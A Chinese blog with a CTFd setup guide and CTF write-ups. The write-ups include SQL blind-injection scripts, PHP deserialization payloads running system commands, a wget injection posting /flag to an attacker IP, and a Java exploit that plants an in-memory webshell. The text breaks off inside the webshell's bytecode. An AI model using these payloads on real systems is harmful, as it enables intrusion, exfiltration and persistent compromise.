Cc's Blog

记一次CTFd搭建经历

2022-05-07T12:35:03.000Z

# 前言

一直不想更新博客，最近组织了校内 ctf 内部比赛，之前学长搭建的 CTFd 平台版本有点过时于是打算重新部署一个最新版的，期间遇到了很多问题同时也十分感谢 VaalaCat 师傅的耐心指点。

现将本人搭建 CTFd 的一点经验分享出来

CTFd Version 3.4.3

# 搭建

我这里参考的是 vaalacat 师傅的博客再次致谢

# 准备环境

docker
docker-compose

# 配置准备

首先创建一个 swarm

1	docker swarm init

然后加入

1	docker node update --label-add='name=linux-1' $(docker node ls -q)

镜像源可以根据自己网络需要进行更改 /etc/docker/daemon.json

修改后重启生效

1 2	sudo systemctl daemon-reload sudo systemctl restart docker

# 安装

参考以及使用 VaalaCat 师傅的仓库

# 下载

首先使用 VaalaCat 师傅仓库中的 ctfd ，已经做好了镜像换源等工作。

1 2	PLAINTEXT git clone https://github.com/VaalaCat/CTFd.git --depth=1

# 配置

1 2	conf/frp/frps.ini # token 保持一致 conf/frp/frpc.ini # token 保持一致

由于我 frps 使用的是 host 网络模式将原有配置修改
host 模式 frps 端口随容器开起

[common]
bind_port = 7000
vhost_http_port = 9123
token = your_token

[common]
token = your_token
server_addr = 172.17.0.1 #此处需要将ip修改为frps 中docker0 网卡的ip
server_port = 7000
admin_addr = 172.1.0.4
admin_port = 7400

docker-compose.yml 修改如下

version: '3'

services:
  ctfd:
    build: .
    user: root
    restart: always
    ports:
      - "8000:8000"#看自己需要修改此处我修改为8000端口访问面板
      
#省略中间保持不变即可

frps:
    image: glzjin/frp
    restart: always
    volumes:
      - ./conf/frp:/conf
    entrypoint:
      - /usr/local/bin/frps
      - -c
      - /conf/frps.ini
    network_mode: host #此处改为host 下面注释
#    ports:
#      - 27000-27200:27000-27200  # 映射direct类型题目的端口
#      - 9123:9123  # 映射http类型题目的端口
#    networks:
#      default:
#      frp_connect:
#        ipv4_address: 172.1.0.3

……
networks:
  default:
  internal:
    internal: true
  frp_connect:
    driver: overlay
#    internal: true  此处注释
    attachable: true
#其余均保持不变

然后安装 whale 插件以及启动

1 2	git submodule update --init docker-compose up -d

启动后访问你设置的端口进入面板让后在 admin panle 中 whale 修改 frp

名称	参数
API URL	http://frpc:7400
Http Domain Suffix	看自己是否有配置需求我直接采用 IP + 端口映射此处保持默认
Direct IP AddressFor	服务器的 ip 地址
Direct Minimum Port	27000 #最小端口号看自己需求设置
Direct Maximum Port	27200
Frpc config template	复制上面 frpc 配置即可
Frps config template [generated]	复制上面 frps 配置即可

submit 提交

# 题目创建

此处以 WEB 动态容器为例

名称	参数
Challenge Types	dynamic_docker
Name:	题目名称随意
Category:	WEB
Message:	题目信息随意
Docker Image	选择你本地构建的镜像或者是云端镜像
Frp Redirect Type	Direct
Frp Redirect Port	80 #设置你镜像中开发服务的端口
其它	默认

随后开起容器即可不出意外搭建完成

如果出现故障 docker logs xxx 查看具体日志可以 exec -it 进入容器具体分析

# 美化工作

# 主题推荐

我用的主题是 ctfd-neon-theme

还有推荐 CTFd-theme-pixo

更多主题 <-<-

# 主题使用教程

1	git clone https://github.com/hmrserver/CTFd-theme-pixo.git ./CTFd/themes/pixo

登录进入 admin panel -> config -> Theme 修改即可

# 参考

ctfd 使用 ctfd-whale 动态靶机插件搭建靶场指南

校赛 CTFd 平台 docker 搭建 —pixo 主题

CTFd&ctfd-whale 动态靶机搭建与维护

buu刷题hatenum

2021-11-26T11:35:54.000Z

# buu 刷题 Hatenum

知识点

SQL 函数
盲注
脚本编写

# 题目分析

题目给了源码

home.php


require_once('config.php');
if(!$_SESSION['username']){
   header('location:index.php');
}
if($_SESSION['username']=='admin'){
   echo file_get_contents('/flag');
}
else{
   echo 'hello '.$_SESSION['username'];
}
?>

当用户名为 admin 成功登录即可获得密码

config.php


error_reporting(0);
session_start();
class User{
    public $host = "localhost";
    public $user = "root";
    public $pass = "123456";
    public $database = "ctf";
    public $conn;
    function __construct(){
        $this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
        if(mysqli_connect_errno()){
            die('connect error');
        }
    }
    function find($username){
        $res = $this->conn->query("select * from users where username='$username'");
        if($res->num_rows>0){
            return True;
        }
        else{
            return False;
        }

    }
    function register($username,$password,$code){
        if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
            return True;
        }
        else{
            return False;
        }
    }
    function login($username,$password,$code){
        $res = $this->conn->query("select * from users where username='$username' and password='$password'");
        if($this->conn->error){    // 如果sql语句报错就返回error
            return 'error';
        }
        else{
            $content = $res->fetch_array();
            if($content['code']===$_POST['code']){
                $_SESSION['username'] = $content['username'];
                return 'success';
            }
            else{
                return 'fail';
            }
        }

    }
}

function sql_waf($str){
    if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
        die('Hack detected');
    }
}

function num_waf($str){
    if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
        die('Huge num detected');
    }
}

function array_waf($arr){
    foreach ($arr as $key => $value) {
        if(is_array($value)){
            array_waf($value);
        }
        else{
            sql_waf($value);
            num_waf($value);
        }
    }
}

可以看到过滤非常严格但还是存在一定缺陷 \ () rlike 等没有过滤

同时后面对 code 单独验证所以无法利用 username=admin\&password=||1 绕过

# 解题思路

首先分析 sql 注入类型，通过阅读源码分析得知为 bool 盲注
寻找匹配函数
构建 bool 值
编写脚本

# 匹配

# rlike

rlike() 类似于正则当语句执行匹配后的结果为 True 返回 1

下面通过比较 like rlike regexp 即可快速了解

mysql> select 'abcd' like 'a';
+-----------------+
| 'abcd' like 'a' |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select 'abcd' rlike 'a';
+------------------+
| 'abcd' rlike 'a' |
+------------------+
|                1 |
+------------------+
1 row in set (0.00 sec)

mysql> select 'abcd' regexp 'a';
+-------------------+
| 'abcd' regexp 'a' |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.00 sec)

# trim

TRIM ([BOTH/LEADING/TRAILING] 目标字符串 FROM 源字符串）
BOTH 删除两边的指定字符串
LEADING 删除左边的指定字符串
TARILING 删除右边的指定字符串

mysql> select trim(LEADING "b" from trim(LEADING "a" from "abcd"));
+------------------------------------------------------+
| trim(LEADING "b" from trim(LEADING "a" from "abcd")) |
+------------------------------------------------------+
| cd                                                   |
+------------------------------------------------------+
1 row in set (0.00 sec)

# 构建 bool

# exp 函数

exp() 该函数返回 E 的 X 次方后的值，当 exp () 函数取值超过 709 便会报错如下所示：

mysql> select exp(1);
+-------------------+
| exp(1)            |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

此题可以利用此特性来构造盲注当然其他类似函数也是可以利用如 pow () 等等

同时利用未过滤的 \ 闭合单引号达到注入目的

大致的 payload 如下：

1
2
3

'username': 'admin\\',
'password': '||exp(710-((bool))#',
'code': '1'

通过闭合使 username='admin\' and password=' 过滤了 or 用 ||

过滤了空格用 0x0c 换页符代替或者用括号

# exp

# trim 推荐

利用嵌套 trim 判断长度获得 code 值无需担心重复

# -*- coding: utf-8 -*-
"""
@Time    : 2021/11/26
@Author  : hkcc
"""

import requests
from time import sleep

url = "http://challenge-16a8510d5c6c71ad.sandbox.ctfhub.com:10800/login.php"
charset = "1234567890wertyuiopasdfghjklzxcvbnmq_"
totallength = 23
result = ""

print("-----------start to get length---------------")
for i in range(1,254):
    num=i
    pay="||exp(710-(length(trim(leading 0x00 from code))like {}))#"
    pay=pay.format(str(num)).replace(' ',chr(0x0c))
    print(pay)
    data = {"username": "admin\\", "password": pay, "code": '1'}
    res = requests.post(url, data, allow_redirects=False)
    sleep(0.1)
    if('login' in res.text):
        totallength = num
        break
print("-----------code length {}---------------".format(totallength))


pay1="||exp(710-(length({})like {}))#"
pay3="trim(leading {} from {})"
addpay=""


for i in range(totallength-1,-1,-1):
    for j in charset:
        tchar=hex(ord(j))
        if (i == totallength - 1):
            temppay = pay3.format(tchar, "code")
        else:
            temppay = pay3.format(tchar, addpay)
        finalpay=pay1.format(temppay,str(i)).replace(' ',chr(0x0c))
        data = {"username": "admin\\", "password": finalpay, "code": '1'}
        req= requests.post(url, data, allow_redirects=False)
        sleep(0.2)
        #print(req.text)
        if ('login' in req.text):
            result = result + j
            break
    addpay=temppay
    print(result)



print("-----------get flag---------------")
data = {"username":"admin\\","password":"||True#","code":result}
res = requests.post(url, data)
print(res.text)

# rlike

引用链接

import requests
import string

def str2hex(string):  # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
    result = ''
    for i in string:
        result += hex(ord(i))
    result = result.replace('0x', '')
    return '0x' + result

strs = string.ascii_letters + string.digits + '_'
url = "http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = '||exp(710-(code rlike binary {0}))#'
if __name__ == "__main__":
    name = ''
    z = 3
    for i in range(1, 40):
        for j in strs:
            passwd = str2hex(name + j)
            payloads = payload.format(passwd).replace(' ',chr(0x0c))
            postdata = {
                'username': 'admin\\',
                'password': payloads,
                'code': '1'
            }
            r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
            #print(r.text)
            if "fail" in r.text:
                name += j
                print(j, end='')
                break

        if len(name) >= 3:
            for i in range(1, 40):
                for j in strs:
                    passwd = str2hex(name[z - 3:z] + j)  # ergh
                    payloads = payload.format(passwd).replace(' ', chr(0x0c))
                    postdata = {
                        'username': 'admin\\',
                        'password': payloads,
                        'code': '1'
                    }
                    r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
                    # print(r.text)
                    if "fail" in r.text:
                        name += j
                        print(j, end='')
                        z += 1
                        break

出结果了，别高兴的太早，因为这里陷入了一个死循环当中：

1	erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......

可以看到爆出 erghruigh2 之后不停地循环出现 uygh2 ，所以我们可以推测出真正的 code 里面有两个 gh2 ，其中位于前面的那个 gh2 后面紧跟着一个 u ，即 gh2u 。后面那个 gh2 后面跟的是那个字符我们还不能确定，那我们便可以测试一下除了 u 以外的其他字符，经测试第二个 gh2 后面跟的字符是 3 ，即 gh23 ，然后继续根据 h23 爆破接下来的字符就行了，最后得到的 code 如下：

1	erghruigh2uygh23uiu32ig

wp合集

2021-11-21T06:15:42.000Z

太久没跟新了，就一起发了 💨

# 0x01 DAS sept

# web

# hellounser

一道 php 反序列化的题目：


class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    
    public function __toString(){
        $this->show();
        return "
"."Nice Job!!"."
";
    }    
}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}

?>

照常先来看入口点，在反序列化后立刻函数式调用了该对象，那么可以触发的就是 __invoke() 函数。
__invoke() 函数内部调用了同类中的 show() 函数，其中将变量 $var 作为字符串打印，那么可以触发 __toString() 函数。
__toString() 函数也调用了同类中的 show() 函数，包含了 flag.php 并且可以控制调用的函数名和第二个参数。

这里我们可以确定使用 create_funtion() 逃逸，使用 ;};var_dump(get_defined_vars());// 来逃逸出大括号。
但是这分别对 func 和 arg 做了过滤，那么我们分析如何绕过：
- preg_match('/^[a-z0-9]*$/isD', $this->func) ，限制不能所有的字符都是字母或者数字，那么我们可以使用 \create_function 来绕过。而这个 \ 代表该函数是全局空间下的名称。
- arg 变量限制了很多系统命令和 php 函数，但是没有限制 system() 函数。过滤了引号，那么我们可以不用引号，只要命令中间没有空格（当然不加引号似乎只在 php5 生效，我用自己电脑上的 php8 是不能执行的）。
生成 payload：


class A {
    public $var;
}

class B{
    public $func = '\create_function';
    public $arg = ';};var_dump(get_defined_vars());//';
    
}

$a = new A();
$a -> var = new B();
echo urlencode(serialize($a));

O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A16%3A%22%5Ccreate_function%22%3Bs%3A3%3A%22arg%22%3Bs%3A34%3A%22%3B%7D%3Bvar_dump%28get_defined_vars%28%29%29%3B%2F%2F%22%3B%7D%7D

回显：

1	array(2) { ["func"]=> string(16) "\create_function" ["FakeFlag"]=> string(33) "fl4g{TrueFlag_is_in_Tru3flag.php}" }

那么我们就需要去查看 Tru3flag.php：

1	public $arg = ';};system(ls);//';

回显：

1	Tru3flag.php flag.php index.php

单词命令是可以执行的，但是 cat Tru3flag.php 肯定会存在空格，就算将其 base64 之类的也不行，用引号（这里不让）在本地也失败。所以我们只能再嵌套一层 base64_decode() 函数：

1	public $arg = ';};system(base64_decode(Y2F0IFRydTNmbGFnLnBocDsg));//';

注意 base64 编码不能有等号，因为等号也被过滤了，我的方法也很简单，在后面加一个空格就可以了。
不过 base64 编码后触发了 nl （笑），这里我们用 cat Tru* 再编码：

1	public $arg = ';};system(base64_decode(Y2F0IFRydSoK));//';

获得 flag：
当然也可以用取反绕过：


class A {
    public $var;
}

class B{
    public $func = '\create_function';
    public $arg;
    
}

$a = new A();
$a -> var = new B();
$ac = (~('php://filter/read=convert.base64-encode/resource=Tru3flag.php'));
$a -> var -> arg = 'return(1);}require(~('.strval($ac).'));//';
echo urlencode(serialize($a));

# xxc

打开网页提示 一条链子 ，使用 dirmap 扫描到网站源码 www.zip，进行代码审计。
index.php 其中存在反序列化操作，这道题确定是一道序列化的题目：


include("closure/autoload.php");
function _loader($class){
    require_once './class/' . (str_replace('\\', '/', $class) . '.php');
}
spl_autoload_register("_loader");
error_reporting(0);
if($_POST['data']){
    unserialize(base64_decode($_POST['data']));
}else{
    echo "一条链子
";
}

我们先来学习一下 _loader() 函数，这是一个自动加载函数，在 PHP5 中，当我们实例化一个未定义的类时，就会触发此函数。
spl_autoload_register('loadprint') 与 __autoload() 函数有异曲同工之妙，PHP 碰到没有定义的类就执行 loadprint() 函数。

所以我们在 index.php 中可以自由的实例化存在的类。由于是反序列化的题目，我们先来看看入口点 __destruct() 和 __wakeup() 函数是否存在：

\Control\State\StopHook.php 中发现了析构函数，调用了同类中的 _exit() 函数，其中 $process->stop(); 可能会触发 __call() 函数，而 !$process->isRunning 可能会触发 __get() 函数：


namespace Control\State;


class StopHook {
    protected $output;
    protected $config = ['auto' => 0];
    protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
    protected $processes;

    public function __destruct() {
        $this->_exit();
    }

    private function _exit() {
        foreach(array_reverse($this->processes) as $process) {
            if (!$process->isRunning) {
                continue;
            }
            $process->stop();
        }
    }
}

在 \Faker\MyGenerator.php 中找到这两个函数， __call() 函数中 echo $this->defaultCall; 一句可能会触发 __toString() 函数：


namespace Faker;

class MyGenerator {

    protected $defaultValue;

    public function __call($method, $arg_array) {
        echo $this->defaultCall;
        return $this->defaultCall;
    }

    public function __get($property) {
        return $this->defaultValue;
    }
}

在 \Method\Func\GetFile.php 找到 __toString() 函数，调用了同类中的 getFiles() 函数，发现函数的中调用了 isset() 函数，如果该类中不存在该属性，会触发 __isset() 函数：


namespace Method\Func;

class GetFile {

    private $flag = true;
    private $files = [];

    public function __toString() {
        return $this->getFiles();
    }

    public function getFiles() {
        if (!$this->flag) return "denied";
        $s = "";

        if (isset($this->flag->{$this->value})) {
            return "test";
        }

        foreach ($this->files as $file) {
            $s += $file->read();
        }
        return $s;
    }
}

在 Method\Func\GetDefault.php 中找到 __isset() 函数，调用了同类中的 popup() 函数，其中 return $s($length); 可能会触发 __invoke() 函数：


namespace Method\Func;

class GetDefault {
    private $source;

    public function popup($length) {
        $s = $this->source;
        if ($s->flag != "myTest") {
            return "denied";
        }
        return $s($length);
    }

    public function __isset($property) {
        if ($property != "test") {
            return false;
        }
        return !$this->popup(666);
    }
}

最后在 \Method\Func\GenerateFile.php 中找到 __invoke() 函数，且存在 call_user_func() 。没有想到在 php5 中是可以直接赋值在一个没有初始化的变量上的 2333。


namespace Method\Func;

class GenerateFile {
    public $flag;
    protected $buffer;

    public function __invoke($param) {
        $this->myGen($param);
    }

    public function myGen($length) {
        $s = $this->buffer->read;
        call_user_func($this->source->generate, $length);
        return $s;
    }
}

整个链子理清楚了，但是发现 call_user_func() 的第二个参数被写死了，因为 $this->popup(666); 调用的时候将 666 传入了 __invoke($param) ，最后也就作为 $length 变量传入了 myGen($length) 函数。

现在只能够调用类似 phpinfo() 等不需要参数的程序，并不能够 rce，该怎么办呢？

这时候我们注意到存在 function.php ，发现这个 cms 是基于 opis/closure 搭建的，网址：https://github.com/opis/closure
该项目是用来闭包类对象的，官方文档：https://opis.io/closure/3.x/serialize.html。php 中的闭包函数（仅对 php）即匿名函数，一般是无法进行序列化的，一般会报错：

1
2
3


$function = function(){ eval(system('ls')); };
echo serialize($function);

1	Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'

使用这个项目，可以将闭包包装成一个 Opis\Closure\SerializableClosure 对象，然后使用标准的 serialize() 进行序列化。也可以使用 Opis\Closure\serialize 函数序列化任意对象。


require 'closure/autoload.php';
$function = function(){ eval(system('ls')); };
$a = new \Opis\Closure\SerializableClosure($function);
echo serialize($a);


require 'closure/autoload.php';
$function = function(){ eval(system('ls')); };
echo \Opis\Closure\serialize($function);

C:32:"Opis\Closure\SerializableClosure":156:{a:5:{s:3:"use";a:0:{}s:8:"function";s:33:"function(){ eval(\system('ls'));}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"0000000054d6224100000000237e90a4";}}

那么我们可以将匿名函数通过 serialize() 函数经过一次序列化和反序列化，这样他就能作为 SerializableClosure 对象被序列化。或者直接将 generate 变量赋值为 SerializableClosure 类。
payload：


namespace Control\State {
    class StopHook {
        protected $processes;
        public function __construct() {
            $this -> processes = array(new \Faker\MyGenerator());
        }
    }
    require 'closure/autoload.php';
    $payload = new StopHook();
    echo base64_encode(serialize($payload));
}

namespace Faker {
    class MyGenerator {
        protected $defaultValue;
        public function __construct() {
            $this -> defaultValue = new \Method\Func\GetFile();
        }        
    }
}

namespace Method\Func{
    class GetFile {
        private $flag;
        public function __construct() {
            $this -> flag = new \Method\Func\GetDefault();
            $this -> value = 'test';
        }
    }
}

namespace Method\Func{
    class GetDefault {
        private $source;
        public function __construct()  {
            $this -> source = new \Method\Func\GenerateFile();
            $this -> source -> flag = 'myTest';
        }
    }
}

namespace Method\Func{
    class GenerateFile {
        public $flag;
        protected $buffer;

        public function __construct() {
            $function = function(){ eval(system('ls /')); };
            $this -> source -> generate = new \Opis\Closure\SerializableClosure($function);
        }
    }
}

将 php 文件放在 /www 文件夹下运行，得到序列化的结果（其实在 php5 中赋值一个对象在一个空变量中是会警告的 HP Warning: Creating default object from empty value in /var/www/1.php on line 51 ，在 php8 中就直接报错了）：

TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxODg6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6MzU6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdscyAvJykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwMmIzZjg4ZGMwMDAwMDAwMDE5NjUyZjhjIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==

将作为 post 参数 data 传递，获得回显：

1	bin dev etc f1@g.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

修改 $function = function(){ eval(system('cat /fl@g.txt')); }; ，重新序列化：

TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxOTc6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6NDQ6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdjYXQgL2YxQGcudHh0JykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNzBkY2RiODIwMDAwMDAwMGFiNmZiZTVmIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==

获得 flag：

# 0x02 陇原战 "疫"

# WEB

# CheckIN

wget 参数注入

argv=1&argv=–post-file&argv=/flag&argv=IP

# eaaasyphp

反序列化。ftp 打 fpm，流量用 gopher 生成下就行


class Esle{
}
class Bypass{
    public $str4;
    public function __construct($str4){
        $this->str4=$str4;
    }
}
class Welcome{
    public $username;
    public function __construct($username){
        $this->username=$username;
    }
}
class Bunny {
    public $filename;
    public $data;
    public function __construct($filename){
        $this->filename=$filename;
    }
}
class Hint{
    public $hint=false;
}
$Hint=new Hint();
$Bunny=new Bunny("ftp://x.x.x.x:22:8000/a");
$Welcome=new Welcome($Bunny);
$Esle=new Esle();
$Bypass=new Bypass($Welcome,$Hint);
echo (serialize(array($Esle,$Bypass)));

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 22))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
print("endd")

# EasyJaba

1	反序列化。不能有hashmap和BadAttributeValueExpException

有 ROME 依赖。刚好需要一个 tostring。

自己加了个 tostring

题目不出网。考虑写内存马 + 命令执行回显

ROME exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.io.FileUtils;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Base64;
public class Exp {
    public static void main(String[] args) throws Exception{
        // 生成恶意 bytecodes
        String code = "{printName();}";
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(test.class.getName());
        clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
        clazz.makeClassInitializer().insertBefore(code);
        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
        File classFilePath = new File(new File(System.getProperty("user.dir"), ""), "test.class");
        FileUtils.writeByteArrayToFile(classFilePath, clazz.toBytecode());
        // 实例化类并设置属性
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templatesimpl, bytecodes);
        Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templatesimpl, "test");
        Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
        fieldTfactory.setAccessible(true);
        fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        // 要通过2个objectbean才能达成触发条件
        ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
        //objectBean1.toString();
        // 输出base64后的序列化数据
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
        out.writeObject(objectBean1);
        byte[] sss = byteArrayOutputStream.toByteArray();
        out.close();
        String exp = Base64.getEncoder().encodeToString(sss);
        System.out.println(exp);
        //byte[] obj_byte = Base64.getDecoder().decode(exp);
        //InputStream inputStream = new ByteArrayInputStream(obj_byte);
        //ObjectInputStream obj = new ObjectInputStream(inputStream);
        //obj.readObject().toString();
    }
}

内存马：test.java

import org.springframework.util.Base64Utils;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class guoke {
    public static void printName() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, InstantiationException {
        String className = "com.lyzy.ctf.ezjaba.controller.cmdController";
        byte[] bytes = Base64Utils.decodeFromString("yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEALkxjb20vbHl6eS9jdGYvZXpqYWJhL2NvbnRyb2xsZXIvY21kQ29udHJvbGxlcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAawcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQASY21kQ29udHJvbGxlci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHo